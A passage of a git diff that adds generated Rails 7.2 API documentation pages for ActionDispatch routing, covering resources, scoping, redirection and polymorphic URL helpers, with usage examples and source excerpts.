+            raise ArgumentError, msg
+          end
+
+          route_path = "#{path}/#{name}.rb"
+          instance_eval(File.read(route_path), route_path.to_s)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + match(path, *rest, &block) + +

+ + +
+

Matches a URL pattern to one or more routes. For more information, see match.

+ +
match 'path' => 'controller#action', via: :patch
+match 'path', to: 'controller#action', via: :post
+match 'path', 'otherpath', on: :member, via: :get
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1679
+        def match(path, *rest, &block)
+          if rest.empty? && Hash === path
+            options  = path
+            path, to = options.find { |name, _value| name.is_a?(String) }
+
+            raise ArgumentError, "Route path not specified" if path.nil?
+
+            case to
+            when Symbol
+              options[:action] = to
+            when String
+              if to.include?("#")
+                options[:to] = to
+              else
+                options[:controller] = to
+              end
+            else
+              options[:to] = to
+            end
+
+            options.delete(path)
+            paths = [path]
+          else
+            options = rest.pop || {}
+            paths = [path] + rest
+          end
+
+          if options.key?(:defaults)
+            defaults(options.delete(:defaults)) { map_match(paths, options, &block) }
+          else
+            map_match(paths, options, &block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + member(&block) + +

+ + +
+

To add a member route, add a member block into the resource block:

+ +
resources :photos do
+  member do
+    get 'preview'
+  end
+end
+
+ +

This will recognize /photos/1/preview with GET, and route to the preview action of PhotosController. It will also create the preview_photo_url and preview_photo_path helpers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1569
+        def member(&block)
+          unless resource_scope?
+            raise ArgumentError, "can't use member outside resource(s) scope"
+          end
+
+          with_scope_level(:member) do
+            if shallow?
+              shallow_scope {
+                path_scope(parent_resource.member_scope, &block)
+              }
+            else
+              path_scope(parent_resource.member_scope, &block)
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespace(path, options = {}) + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1616
+        def namespace(path, options = {})
+          if resource_scope?
+            nested { super }
+          else
+            super
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + nested(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1595
+        def nested(&block)
+          unless resource_scope?
+            raise ArgumentError, "can't use nested outside resource(s) scope"
+          end
+
+          with_scope_level(:nested) do
+            if shallow? && shallow_nesting_depth >= 1
+              shallow_scope do
+                path_scope(parent_resource.nested_scope) do
+                  scope(nested_options, &block)
+                end
+              end
+            else
+              path_scope(parent_resource.nested_scope) do
+                scope(nested_options, &block)
+              end
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1585
+        def new(&block)
+          unless resource_scope?
+            raise ArgumentError, "can't use new outside resource(s) scope"
+          end
+
+          with_scope_level(:new) do
+            path_scope(parent_resource.new_scope(action_path(:new)), &block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resource(*resources, &block) + +

+ + +
+

Sometimes, you have a resource that clients always look up without referencing an ID. A common example, /profile always shows the profile of the currently logged in user. In this case, you can use a singular resource to map /profile (rather than /profile/:id) to the show action:

+ +
resource :profile
+
+ +

This creates six different routes in your application, all mapping to the Profiles controller (note that the controller is named after the plural):

+ +
GET       /profile/new
+GET       /profile
+GET       /profile/edit
+PATCH/PUT /profile
+DELETE    /profile
+POST      /profile
+
+ +

If you want instances of a model to work with this resource via record identification (e.g. in form_with or redirect_to), you will need to call resolve:

+ +
resource :profile
+resolve('Profile') { [:profile] }
+
+# Enables this to work with singular routes:
+form_with(model: @profile) {}
+
+ +

Options

+ +

Takes same options as resources

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1337
+        def resource(*resources, &block)
+          options = resources.extract_options!.dup
+
+          if apply_common_behavior_for(:resource, resources, options, &block)
+            return self
+          end
+
+          with_scope_level(:resource) do
+            options = apply_action_options options
+            resource_scope(SingletonResource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+              yield if block_given?
+
+              concerns(options[:concerns]) if options[:concerns]
+
+              new do
+                get :new
+              end if parent_resource.actions.include?(:new)
+
+              set_member_mappings_for_resource
+
+              collection do
+                post :create
+              end if parent_resource.actions.include?(:create)
+            end
+          end
+
+          self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resources(*resources, &block) + +

+ + +
+

In Rails, a resourceful route provides a mapping between HTTP verbs and URLs and controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as

+ +
resources :photos
+
+ +

creates seven different routes in your application, all mapping to the Photos controller:

+ +
GET       /photos
+GET       /photos/new
+POST      /photos
+GET       /photos/:id
+GET       /photos/:id/edit
+PATCH/PUT /photos/:id
+DELETE    /photos/:id
+
+ +

Resources can also be nested infinitely by using this block syntax:

+ +
resources :photos do
+  resources :comments
+end
+
+ +

This generates the following comments routes:

+ +
GET       /photos/:photo_id/comments
+GET       /photos/:photo_id/comments/new
+POST      /photos/:photo_id/comments
+GET       /photos/:photo_id/comments/:id
+GET       /photos/:photo_id/comments/:id/edit
+PATCH/PUT /photos/:photo_id/comments/:id
+DELETE    /photos/:photo_id/comments/:id
+
+ +

Options

+ +

Takes same options as match as well as:

+
:path_names +
+

Allows you to change the segment component of the edit and new actions. Actions not specified are not changed.

+
+ +
    resources :posts, path_names: { new: "brand_new" }
+
+The above example will now change /posts/new to /posts/brand_new.
+
+
:path +
+

Allows you to change the path prefix for the resource.

+
+ +
    resources :posts, path: 'postings'
+
+The resource and all segments will now route to /postings instead of
+/posts.
+
+
:only +
+

Only generate routes for the given actions.

+
+ +
    resources :cows, only: :show
+    resources :cows, only: [:show, :index]
+
+
:except +
+

Generate all routes except for the given actions.

+
+ +
    resources :cows, except: :show
+    resources :cows, except: [:show, :index]
+
+
:shallow +
+

Generates shallow routes for nested resource(s). When placed on a parent resource, generates shallow routes for all nested resources.

+
+ +
    resources :posts, shallow: true do
+      resources :comments
+    end
+
+Is the same as:
+
+    resources :posts do
+      resources :comments, except: [:show, :edit, :update, :destroy]
+    end
+    resources :comments, only: [:show, :edit, :update, :destroy]
+
+This allows URLs for resources that otherwise would be deeply nested such
+as a comment on a blog post like `/posts/a-long-permalink/comments/1234`
+to be shortened to just `/comments/1234`.
+
+Set `shallow: false` on a child resource to ignore a parent's shallow
+parameter.
+
+
:shallow_path +
+

Prefixes nested shallow routes with the specified path.

+
+ +
    scope shallow_path: "sekret" do
+      resources :posts do
+        resources :comments, shallow: true
+      end
+    end
+
+The `comments` resource here will have the following routes generated for
+it:
+
+    post_comments    GET       /posts/:post_id/comments(.:format)
+    post_comments    POST      /posts/:post_id/comments(.:format)
+    new_post_comment GET       /posts/:post_id/comments/new(.:format)
+    edit_comment     GET       /sekret/comments/:id/edit(.:format)
+    comment          GET       /sekret/comments/:id(.:format)
+    comment          PATCH/PUT /sekret/comments/:id(.:format)
+    comment          DELETE    /sekret/comments/:id(.:format)
+
+
:shallow_prefix +
+

Prefixes nested shallow route names with specified prefix.

+
+ +
    scope shallow_prefix: "sekret" do
+      resources :posts do
+        resources :comments, shallow: true
+      end
+    end
+
+The `comments` resource here will have the following routes generated for
+it:
+
+    post_comments           GET       /posts/:post_id/comments(.:format)
+    post_comments           POST      /posts/:post_id/comments(.:format)
+    new_post_comment        GET       /posts/:post_id/comments/new(.:format)
+    edit_sekret_comment     GET       /comments/:id/edit(.:format)
+    sekret_comment          GET       /comments/:id(.:format)
+    sekret_comment          PATCH/PUT /comments/:id(.:format)
+    sekret_comment          DELETE    /comments/:id(.:format)
+
+
:format +
+

Allows you to specify the default value for optional format segment or disable it by supplying false.

+
:param +
+

Allows you to override the default param name of :id in the URL.

+
+ +

Examples

+ +
# routes call +Admin::PostsController+
+resources :posts, module: "admin"
+
+# resource actions are at /admin/posts.
+resources :posts, path: "admin/posts"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1507
+        def resources(*resources, &block)
+          options = resources.extract_options!.dup
+
+          if apply_common_behavior_for(:resources, resources, options, &block)
+            return self
+          end
+
+          with_scope_level(:resources) do
+            options = apply_action_options options
+            resource_scope(Resource.new(resources.pop, api_only?, @scope[:shallow], options)) do
+              yield if block_given?
+
+              concerns(options[:concerns]) if options[:concerns]
+
+              collection do
+                get  :index if parent_resource.actions.include?(:index)
+                post :create if parent_resource.actions.include?(:create)
+              end
+
+              new do
+                get :new
+              end if parent_resource.actions.include?(:new)
+
+              set_member_mappings_for_resource
+            end
+          end
+
+          self
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + resources_path_names(options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1304
+        def resources_path_names(options)
+          @scope[:path_names].merge!(options)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + root(path, options = {}) + +

+ + +
+

You can specify what Rails should route β€œ/” to with the root method:

+ +
root to: 'pages#main'
+
+ +

For options, see match, as root uses it internally.

+ +

You can also pass a string which will expand

+ +
root 'pages#main'
+
+ +

You should put the root route at the top of config/routes.rb, because this means it will be matched first. As this is the most popular route of most Rails applications, this is beneficial.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1726
+        def root(path, options = {})
+          if path.is_a?(String)
+            options[:to] = path
+          elsif path.is_a?(Hash) && options.empty?
+            options = path
+          else
+            raise ArgumentError, "must be called with a path and/or options"
+          end
+
+          if @scope.resources?
+            with_scope_level(:root) do
+              path_scope(parent_resource.path) do
+                match_root_route(options)
+              end
+            end
+          else
+            match_root_route(options)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shallow() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1624
+        def shallow
+          @scope = @scope.new(shallow: true)
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shallow?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1631
+        def shallow?
+          !parent_resource.singleton? && @scope[:shallow]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + api_only?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1926
+          def api_only? # :doc:
+            @set.api_only?
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_member_mappings_for_resource() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1914
+          def set_member_mappings_for_resource # :doc:
+            member do
+              get :edit if parent_resource.actions.include?(:edit)
+              get :show if parent_resource.actions.include?(:show)
+              if parent_resource.actions.include?(:update)
+                patch :update
+                put   :update
+              end
+              delete :destroy if parent_resource.actions.include?(:destroy)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_scope_level(kind) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1810
+          def with_scope_level(kind) # :doc:
+            @scope = @scope.new_level(kind)
+            yield
+          ensure
+            @scope = @scope.parent
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Mapper/Scoping.html b/src/7.2/classes/ActionDispatch/Routing/Mapper/Scoping.html new file mode 100644 index 0000000000..b7c017b431 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Mapper/Scoping.html @@ -0,0 +1,514 @@ +--- +title: ActionDispatch::Routing::Mapper::Scoping +layout: default +--- +
+ +
+
+ +
+ +

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an admin namespace. You would place these controllers under the app/controllers/admin directory, and you can group them together in your router:

+ +
namespace "admin" do
+  resources :posts, :comments
+end
+
+ +

This will create a number of routes for each of the posts and comments controller. For Admin::PostsController, Rails will create:

+ +
GET       /admin/posts
+GET       /admin/posts/new
+POST      /admin/posts
+GET       /admin/posts/1
+GET       /admin/posts/1/edit
+PATCH/PUT /admin/posts/1
+DELETE    /admin/posts/1
+
+ +

If you want to route /posts (without the prefix /admin) to Admin::PostsController, you could use

+ +
scope module: "admin" do
+  resources :posts
+end
+
+ +

or, for a single case

+ +
resources :posts, module: "admin"
+
+ +

If you want to route /admin/posts to PostsController (without the Admin:: module prefix), you could use

+ +
scope "/admin" do
+  resources :posts
+end
+
+ +

or, for a single case

+ +
resources :posts, path: "/admin/posts"
+
+ +

In each of these cases, the named routes remain the same as if you did not use scope. In the last case, the following paths map to PostsController:

+ +
GET       /admin/posts
+GET       /admin/posts/new
+POST      /admin/posts
+GET       /admin/posts/1
+GET       /admin/posts/1/edit
+PATCH/PUT /admin/posts/1
+DELETE    /admin/posts/1
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + constraints(constraints = {}, &block) + +

+ + +
+

Parameter Restriction

+ +

Allows you to constrain the nested routes based on a set of rules. For instance, in order to change the routes to allow for a dot character in the id parameter:

+ +
constraints(id: /\d+\.\d+/) do
+  resources :posts
+end
+
+ +

Now routes such as /posts/1 will no longer be valid, but /posts/1.1 will be. The id parameter must match the constraint passed in for this example.

+ +

You may use this to also restrict other parameters:

+ +
resources :posts do
+  constraints(post_id: /\d+\.\d+/) do
+    resources :comments
+  end
+end
+
+ +

Restricting based on IP

+ +

Routes can also be constrained to an IP or a certain range of IP addresses:

+ +
constraints(ip: /192\.168\.\d+\.\d+/) do
+  resources :posts
+end
+
+ +

Any user connecting from the 192.168.* range will be able to see this resource, where as any user connecting outside of this range will be told there is no such route.

+ +

Dynamic request matching

+ +

Requests to routes can be constrained based on specific criteria:

+ +
constraints(-> (req) { /iPhone/.match?(req.env["HTTP_USER_AGENT"]) }) do
+  resources :iphones
+end
+
+ +

You are able to move this logic out into a class if it is too complex for routes. This class must have a matches? method defined on it which either returns true if the user should be given access to that route, or false if the user should not.

+ +
class Iphone
+  def self.matches?(request)
+    /iPhone/.match?(request.env["HTTP_USER_AGENT"])
+  end
+end
+
+ +

An expected place for this code would be lib/constraints.

+ +

This class is then used like this:

+ +
constraints(Iphone) do
+  resources :iphones
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1046
+        def constraints(constraints = {}, &block)
+          scope(constraints: constraints, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + controller(controller) + +

+ + +
+

Scopes routes to a specific controller

+ +
controller "food" do
+  match "bacon", action: :bacon, via: :get
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 928
+        def controller(controller)
+          @scope = @scope.new(controller: controller)
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + defaults(defaults = {}) + +

+ + +
+

Allows you to set default parameters for a route, such as this:

+ +
defaults id: 'home' do
+  match 'scoped_pages/(:id)', to: 'pages#show'
+end
+
+ +

Using this, the :id parameter here will default to β€˜home’.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 1057
+        def defaults(defaults = {})
+          @scope = @scope.new(defaults: merge_defaults_scope(@scope[:defaults], defaults))
+          yield
+        ensure
+          @scope = @scope.parent
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespace(path, options = {}, &block) + +

+ + +
+

Scopes routes to a specific namespace. For example:

+ +
namespace :admin do
+  resources :posts
+end
+
+ +

This generates the following routes:

+ +
    admin_posts GET       /admin/posts(.:format)          admin/posts#index
+    admin_posts POST      /admin/posts(.:format)          admin/posts#create
+ new_admin_post GET       /admin/posts/new(.:format)      admin/posts#new
+edit_admin_post GET       /admin/posts/:id/edit(.:format) admin/posts#edit
+     admin_post GET       /admin/posts/:id(.:format)      admin/posts#show
+     admin_post PATCH/PUT /admin/posts/:id(.:format)      admin/posts#update
+     admin_post DELETE    /admin/posts/:id(.:format)      admin/posts#destroy
+
+ +

Options

+ +

The :path, :as, :module, :shallow_path, and :shallow_prefix options all default to the name of the namespace.

+ +

For options, see Base#match. For :shallow_path option, see Resources#resources.

+ +
# accessible through /sekret/posts rather than /admin/posts
+namespace :admin, path: "sekret" do
+  resources :posts
+end
+
+# maps to +Sekret::PostsController+ rather than +Admin::PostsController+
+namespace :admin, module: "sekret" do
+  resources :posts
+end
+
+# generates +sekret_posts_path+ rather than +admin_posts_path+
+namespace :admin, as: "sekret" do
+  resources :posts
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 973
+        def namespace(path, options = {}, &block)
+          path = path.to_s
+
+          defaults = {
+            module:         path,
+            as:             options.fetch(:as, path),
+            shallow_path:   options.fetch(:path, path),
+            shallow_prefix: options.fetch(:as, path)
+          }
+
+          path_scope(options.delete(:path) { path }) do
+            scope(defaults.merge!(options), &block)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope(*args) + +

+ + +
+

Scopes a set of routes to the given default options.

+ +

Take the following route definition as an example:

+ +
scope path: ":account_id", as: "account" do
+  resources :projects
+end
+
+ +

This generates helpers such as account_projects_path, just like resources does. The difference here being that the routes generated are like /:account_id/projects, rather than /accounts/:account_id/projects.

+ +

Options

+ +

Takes same options as Base#match and Resources#resources.

+ +
# route /posts (without the prefix /admin) to +Admin::PostsController+
+scope module: "admin" do
+  resources :posts
+end
+
+# prefix the posts resource's requests with '/admin'
+scope path: "/admin" do
+  resources :posts
+end
+
+# prefix the routing helper name: +sekret_posts_path+ instead of +posts_path+
+scope as: "sekret" do
+  resources :posts
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/mapper.rb, line 869
+        def scope(*args)
+          options = args.extract_options!.dup
+          scope = {}
+
+          options[:path] = args.flatten.join("/") if args.any?
+          options[:constraints] ||= {}
+
+          unless nested_scope?
+            options[:shallow_path] ||= options[:path] if options.key?(:path)
+            options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+          end
+
+          if options[:constraints].is_a?(Hash)
+            defaults = options[:constraints].select do |k, v|
+              URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Integer))
+            end
+
+            options[:defaults] = defaults.merge(options[:defaults] || {})
+          else
+            block, options[:constraints] = options[:constraints], {}
+          end
+
+          if options.key?(:only) || options.key?(:except)
+            scope[:action_options] = { only: options.delete(:only),
+                                       except: options.delete(:except) }
+          end
+
+          if options.key? :anchor
+            raise ArgumentError, "anchor is ignored unless passed to `match`"
+          end
+
+          @scope.options.each do |option|
+            if option == :blocks
+              value = block
+            elsif option == :options
+              value = options
+            else
+              value = options.delete(option) { POISON }
+            end
+
+            unless POISON == value
+              scope[option] = send("merge_#{option}_scope", @scope[option], value)
+            end
+          end
+
+          @scope = @scope.new scope
+          yield
+          self
+        ensure
+          @scope = @scope.parent
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/PathRedirect.html b/src/7.2/classes/ActionDispatch/Routing/PathRedirect.html new file mode 100644 index 0000000000..bcdddd8448 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/PathRedirect.html @@ -0,0 +1,167 @@ +--- +title: ActionDispatch::Routing::PathRedirect +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
URL_PARTS=/\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+ + + + + + + +

Instance Public methods

+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/redirection.rb, line 104
+      def inspect
+        "redirect(#{status}, #{block})"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + path(params, request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/redirection.rb, line 92
+      def path(params, request)
+        if block.match(URL_PARTS)
+          path     = interpolation_required?($1, params) ? $1 % escape_path(params)     : $1
+          query    = interpolation_required?($2, params) ? $2 % escape(params)          : $2
+          fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+          "#{path}#{query}#{fragment}"
+        else
+          interpolation_required?(block, params) ? block % escape(params) : block
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/PolymorphicRoutes.html b/src/7.2/classes/ActionDispatch/Routing/PolymorphicRoutes.html new file mode 100644 index 0000000000..34ff234ebe --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/PolymorphicRoutes.html @@ -0,0 +1,275 @@ +--- +title: ActionDispatch::Routing::PolymorphicRoutes +layout: default +--- +
+ +
+
+ +
+ +

Action Dispatch Routing PolymorphicRoutes

+ +

Polymorphic URL helpers are methods for smart resolution to a named route call when given an Active Record model instance. They are to be used in combination with ActionController::Resources.

+ +

These methods are useful when you want to generate the correct URL or path to a RESTful resource without having to know the exact type of the record in question.

+ +

Nested resources and/or namespaces are also supported, as illustrated in the example:

+ +
polymorphic_url([:admin, @article, @comment])
+
+ +

results in:

+ +
admin_article_comment_url(@article, @comment)
+
+ +

Usage within the framework

+ +

Polymorphic URL helpers are used in a number of places throughout the Rails framework:

+
  • +

    url_for, so you can use it with a record as the argument, e.g. url_for(@article);

    +
  • +

    ActionView::Helpers::FormHelper uses polymorphic_path, so you can write form_for(@article) without having to specify :url parameter for the form action;

    +
  • +

    redirect_to (which, in fact, uses url_for) so you can write redirect_to(post) in your controllers;

    +
  • +

    ActionView::Helpers::AtomFeedHelper, so you don’t have to explicitly specify URLs for feed entries.

    +
+ +

Prefixed polymorphic helpers

+ +

In addition to polymorphic_url and polymorphic_path methods, a number of prefixed helpers are available as a shorthand to action: "..." in options. Those are:

+
  • +

    edit_polymorphic_url, edit_polymorphic_path

    +
  • +

    new_polymorphic_url, new_polymorphic_path

    +
+ +

Example usage:

+ +
edit_polymorphic_path(@post)           # => "/posts/1/edit"
+polymorphic_path(@post, format: :pdf)  # => "/posts/1.pdf"
+
+ +

Usage with mounted engines

+ +

If you are using a mounted engine and you need to use a polymorphic_url pointing at the engine’s routes, pass in the engine’s route proxy as the first argument to the method. For example:

+ +
polymorphic_url([blog, @post])  # calls blog.post_path(@post)
+form_for([blog, @post])         # => "/blog/posts/1"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + polymorphic_path(record_or_hash_or_array, options = {}) + +

+ + +
+

Returns the path component of a URL for the given record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/polymorphic_routes.rb, line 133
+      def polymorphic_path(record_or_hash_or_array, options = {})
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_path record, options
+        end
+
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], true)
+        end
+
+        opts   = options.dup
+        action = opts.delete :action
+        type   = :path
+
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + polymorphic_url(record_or_hash_or_array, options = {}) + +

+ + +
+

Constructs a call to a named RESTful route for the given record and returns the resulting URL string. For example:

+ +
# calls post_url(post)
+polymorphic_url(post) # => "http://example.com/posts/1"
+polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+polymorphic_url(Comment) # => "http://example.com/comments"
+
+ +

Options

+
  • +

    :action - Specifies the action prefix for the named route: :new or :edit. Default is no prefix.

    +
  • +

    :routing_type - Allowed values are :path or :url. Default is :url.

    +
+ +

Also includes all the options from url_for. These include such things as :anchor or :trailing_slash. Example usage is given below:

+ +
polymorphic_url([blog, post], anchor: 'my_anchor')
+  # => "http://example.com/blogs/1/posts/1#my_anchor"
+polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+  # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+
+ +

For all of these options, see the documentation for url_for.

+ +

Functionality

+ +
# an Article record
+polymorphic_url(record)  # same as article_url(record)
+
+# a Comment record
+polymorphic_url(record)  # same as comment_url(record)
+
+# it recognizes new records and maps to the collection
+record = Comment.new
+polymorphic_url(record)  # same as comments_url()
+
+# the class of a record will also map to the collection
+polymorphic_url(Comment) # same as comments_url()
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/polymorphic_routes.rb, line 110
+      def polymorphic_url(record_or_hash_or_array, options = {})
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_url record, options
+        end
+
+        if mapping = polymorphic_mapping(record_or_hash_or_array)
+          return mapping.call(self, [record_or_hash_or_array, options], false)
+        end
+
+        opts   = options.dup
+        action = opts.delete :action
+        type   = opts.delete(:routing_type) || :url
+
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/Redirection.html b/src/7.2/classes/ActionDispatch/Routing/Redirection.html new file mode 100644 index 0000000000..d5603aa966 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/Redirection.html @@ -0,0 +1,153 @@ +--- +title: ActionDispatch::Routing::Redirection +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + redirect(*args, &block) + +

+ + +
+

Redirect any path to another path:

+ +
get "/stories" => redirect("/posts")
+
+ +

This will redirect the user, while ignoring certain parts of the request, including query string, etc. /stories, /stories?foo=bar, etc all redirect to /posts.

+ +

The redirect will use a 301 Moved Permanently status code by default. This can be overridden with the :status option:

+ +
get "/stories" => redirect("/posts", status: 307)
+
+ +

You can also use interpolation in the supplied redirect argument:

+ +
get 'docs/:article', to: redirect('/wiki/%{article}')
+
+ +

Note that if you return a path without a leading slash then the URL is prefixed with the current SCRIPT_NAME environment variable. This is typically β€˜/’ but may be different in a mounted engine or where the application is deployed to a subdirectory of a website.

+ +

Alternatively you can use one of the other syntaxes:

+ +

The block version of redirect allows for the easy encapsulation of any logic associated with the redirect in question. Either the params and request are supplied as arguments, or just params, depending of how many arguments your block accepts. A string is required as a return value.

+ +
get 'jokes/:number', to: redirect { |params, request|
+  path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
+  "http://#{request.host_with_port}/#{path}"
+}
+
+ +

Note that the do end syntax for the redirect block wouldn’t work, as Ruby would pass the block to get instead of redirect. Use { ... } instead.

+ +

The options version of redirect allows you to supply only the parts of the URL which need to change, it also supports interpolation of the path similar to the first example.

+ +
get 'stores/:name',       to: redirect(subdomain: 'stores', path: '/%{name}')
+get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
+get '/stories', to: redirect(path: '/posts')
+
+ +

This will redirect the user, while changing only the specified parts of the request, for example the path option in the last example. /stories, /stories?foo=bar, redirect to /posts and /posts?foo=bar respectively.

+ +

Finally, an object which responds to call can be supplied to redirect, allowing you to reuse common redirect routes. The call method must accept two arguments, params and request, and return a string.

+ +
get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/routing/redirection.rb, line 204
+      def redirect(*args, &block)
+        options = args.extract_options!
+        status  = options.delete(:status) || 301
+        path    = args.shift
+
+        return OptionRedirect.new(status, options) if options.any?
+        return PathRedirect.new(status, path) if String === path
+
+        block = path if path.respond_to? :call
+        raise ArgumentError, "redirection argument not supported" unless block
+        Redirect.new status, block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionDispatch/Routing/RouteSet.html b/src/7.2/classes/ActionDispatch/Routing/RouteSet.html new file mode 100644 index 0000000000..ee0fe1b4e5 --- /dev/null +++ b/src/7.2/classes/ActionDispatch/Routing/RouteSet.html @@ -0,0 +1,151 @@ +--- +title: ActionDispatch::Routing::RouteSet +layout: default +--- +
+ +
+
+ +
+ +

The RouteSet contains a collection of Route instances, representing the routes typically defined in config/routes.rb.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

